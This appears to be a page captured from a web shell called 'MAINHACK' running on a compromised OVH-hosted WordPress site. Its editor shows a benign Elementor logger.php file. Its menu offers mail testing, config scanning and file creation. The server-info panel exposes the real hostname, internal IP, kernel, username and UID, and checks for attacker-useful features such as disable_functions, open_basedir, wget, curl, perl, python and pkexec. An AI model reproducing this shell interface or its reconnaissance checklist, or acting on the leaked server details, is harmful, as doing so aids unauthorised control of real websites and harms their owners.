[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: logger.php
<?php namespace Elementor\Modules\AtomicWidgets\Logger; if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Simple logger for Atomic Widgets that writes to wp-content/debug.log (if WP_DEBUG_LOG enabled * and WP_DEBUG_DISPLAY disabled) or optionally to Elementor's DB logger. * Never displays errors on screen. */ class Logger { public static function info( string $message, array $context = [], bool $use_elementor_logger = false ): void { self::log_message( $message, $context, $use_elementor_logger, 'info' ); } public static function warning( string $message, array $context = [], bool $use_elementor_logger = false ): void { self::log_message( $message, $context, $use_elementor_logger, 'warning' ); } public static function error( string $message, array $context = [], bool $use_elementor_logger = false ): void { self::log_message( $message, $context, $use_elementor_logger, 'error' ); } private static function log_message( string $message, array $context, bool $use_elementor_logger, string $level ): void { if ( $use_elementor_logger ) { self::log_to_elementor_db( $message, $context, $level ); return; } self::log_to_wp_debug_file( $message, $context, $level ); } private static function log_to_wp_debug_file( string $message, array $context, string $level ): void { if ( ! self::should_log_to_file() ) { return; } $formatted_message = self::format_message( $message, $context, $level ); error_log( $formatted_message ); } private static function log_to_elementor_db( string $message, array $context, string $level ): void { if ( ! isset( \Elementor\Plugin::$instance->logger ) ) { return; } try { $logger = \Elementor\Plugin::$instance->logger; switch ( $level ) { case 'error': $logger->error( $message, $context ); break; case 'warning': $logger->warning( $message, $context ); break; default: $logger->info( $message, $context ); break; } } catch ( \Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch -- Logger must not throw exceptions } } private static function should_log_to_file(): bool { $debug_log_enabled = defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG; $debug_display_disabled = ! defined( 'WP_DEBUG_DISPLAY' ) || ! WP_DEBUG_DISPLAY; return $debug_log_enabled && $debug_display_disabled; } private static function format_message( string $message, array $context, string $level ): string { $level_prefix = strtoupper( $level ); $formatted = "[Elementor Atomic Widgets] [{$level_prefix}] " . $message; if ( ! empty( $context ) ) { $context_json = wp_json_encode( $context, JSON_UNESCAPED_SLASHES ); if ( false !== $context_json ) { $formatted .= ' | Context: ' . $context_json; } } return $formatted; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697